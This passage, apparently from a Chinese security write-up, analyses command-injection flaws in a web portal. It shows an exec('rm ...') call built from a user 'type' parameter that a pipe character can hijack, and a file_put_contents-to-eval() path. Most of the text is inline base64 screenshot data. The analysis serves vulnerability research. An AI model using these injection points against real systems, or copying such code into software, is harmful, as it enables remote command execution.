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 truncated
|
||||
<p>这里是<code>g=aaa_portal_auth_config_reset</code>的逻辑,直接接受一个参数<code>type</code>,传入到了<code>backupAuthFile</code>中,所以我们把<code>type</code>的值通过管道符控制就可以达到命令执行的效果,但事实上,这里<code>exec('rm '.$portal_catalog.'/'.$type.'/images/'.$type.'*');</code>就已经能够进行命令执行,分别就不需要进入<code>backUpAuthFile</code>中。</p>
|
||||
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181029-49775032-c66a-1.png><img src=data:image/png;base64,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 truncated
|
||||
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181034-4c4e62d2-c66a-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>在上面可以看到通过<code>file_put_contents()</code>控制<code>config.txt</code>的内容,在<code>success.html</code>中,这里直接重加载的时候通过<code>get()</code>获取到了<code>config.txt</code>文件的内容,将获取到的内容直接执行了<code>eval()</code>,也是可以进行命令执行的。</p>
|
||||
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208181039-4f8bc624-c66a-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABIcAAAJ+CAYAAAApPGBwAAEAAElEQVR4nOz9d7xmt3EfjH9xnufuLsll750iKYqSqGrJsootySqWbdnqIiXbr504TnESO4mTvMknv1/K+0v/vLGduKTaiZtEWlS1JavYqpZEVVISVShS7EXksiy5u9xy73Pw+wMYYAYY4OA85e5diiNx73nOAQaDwWDaAXDMpZc+2QIAbPhHgjH5vRJ4HO6PDXXNGBwSGQCtri3cH3q2aN0hqNG8GWDVSwEpaaVyDVXrT8bwIidC3jEJvhFEzwMa+rF84+UTsRriiE1/jBCnmmSPr1/Atmzx5sSlfBM/TH5dEQdeuva8RpOFjeWMgQHpMxNVo+WVjP+/e+7+UkF6xnHnVBgY0qIjQBfQQSyef9ZaWGvR+7/WWkehTTH5fjHdHvoXGSXMhvX4Ya3rl0XsH9mMoWkthtzz0Y8HPA3GGNcG74O1kc4wFpEGutd1HUxn0LnO+XGxvrqlVkWnLADDxp7omUw6TCYTdJ2BtT1msxl622M6nWLbtm1Y27YGYwz6WY/1jXUcPHAQs9kGAGBtbZsrs7YGGAPbW2zMZjh48CAOHVrHxsaG53+Hzhg/TqGbMIGvlg2Jk2EDYNJ1kT7fV2J81/n7ky7wwEtBkBEYw+oFLmE267GxsY5Dh9bRz2aBLhqXbjLB2nSK6XQK4+kmeSNeWmtDedN18Vr8JwStKDI2MsTLSxw/ay363qLv3dhsbGy4MZrN0Pe9p8kX9rKxbW0N07VtmE6n6DrXd9eHXshIZwxMZ2BMFygMNHparCekt72jw+Ppg7iSD2VY/9I+j1TCS9XZisImdhf1N5WVN624nVt9DUN6TbrWte/HAFE/5O6nDc3ZoONs4TcjzTDeK8RFS5Hwh/nCaY1yD+ujvGwPqLWddnrm8dsXh8PleS8PGvzm6hwjLh/uWGQslGVDmzrLkJZRnFlxyDEv5PZhlYQm+jm6uzDe9nXeRncwgLHBP4ouYtSrhFPzgGWbi+mMVJNaT1D0b+BssLf9PaMv2m4ewEWbF/3Y2A/+l+wP8cb5Tr6MzUePhzWuiN7HsrssY4zQB44n8aFKMG1orR0YjqigDOoDrEFL5F3COdTeInW3OsTApwhzjrGp/Gqp0V625I5s4pgsYy6k+BrBFn8s1ozapYJjQRVMaSwWzVu0PFeChex3KhrJ4xKZTcNhomIObpa1sD4BQYkDkTJghpISKPRcS5BriSHX3jzCN15vBaPhA/+YGOrd35RaygkgJoREv4Lu5w6AT7AQ7lLfNFm0TgYtK8MTZzwB0XWdt3mUMALQC+oTCxxxWADoe1+mQ9ehEPz5mmRofdBnAn9ikEoJCCrbmQ5d5/4jnlnb+2SEIzQkZzqfnDEukcATI1GuEAx+zYFwuR82+4VjwO0FT6oxZ47qm5gmjZJG9wy6zmAymWLSzZyT1feBNurvuv8d+qfQGxJFs14kgkK/A/+kB2SS3wFCoG+dOITE0AyzjR6zmU8M9T1LKBJS45Jp06n7zyf8ovxwaTaULwsN8wREpNkEXlOCKsw7hKGA7IzKqXZYpekcUNGlh7mds4OembyWiZ+YCJJJeYmL6XM/LiTv4To8YzRahITecM+UJ4ZK1PyceH/Z7scQcPM5j6jktC7ie4+HI9Vb12FeZ1E+KI/l1k8atawlWMYcOVIjPd5vx4fD1AtmcsNfE31CZ5OVeNTfLiItwnyyS0kgrQXhCXnfXvo2FTIqlLTGGME8JLiHYoCqvWEYs3Ij2DsVD0Pg81iARab+InU3wxOrtHHED99mu0YNMHZIR5UfmdmoNldqeA5+cp0ejMCc6RatmtF/tlFaCASrBJDBKqNMCaAVDhKVZbPQwHorZ+h/FMAjJoY2z3bzsH2oJEva+GuRGEpUTTD6IfByD0O4pSaG/L0QdFmBU9DDEhKibqIP5IqjWBfoAZ8gcv+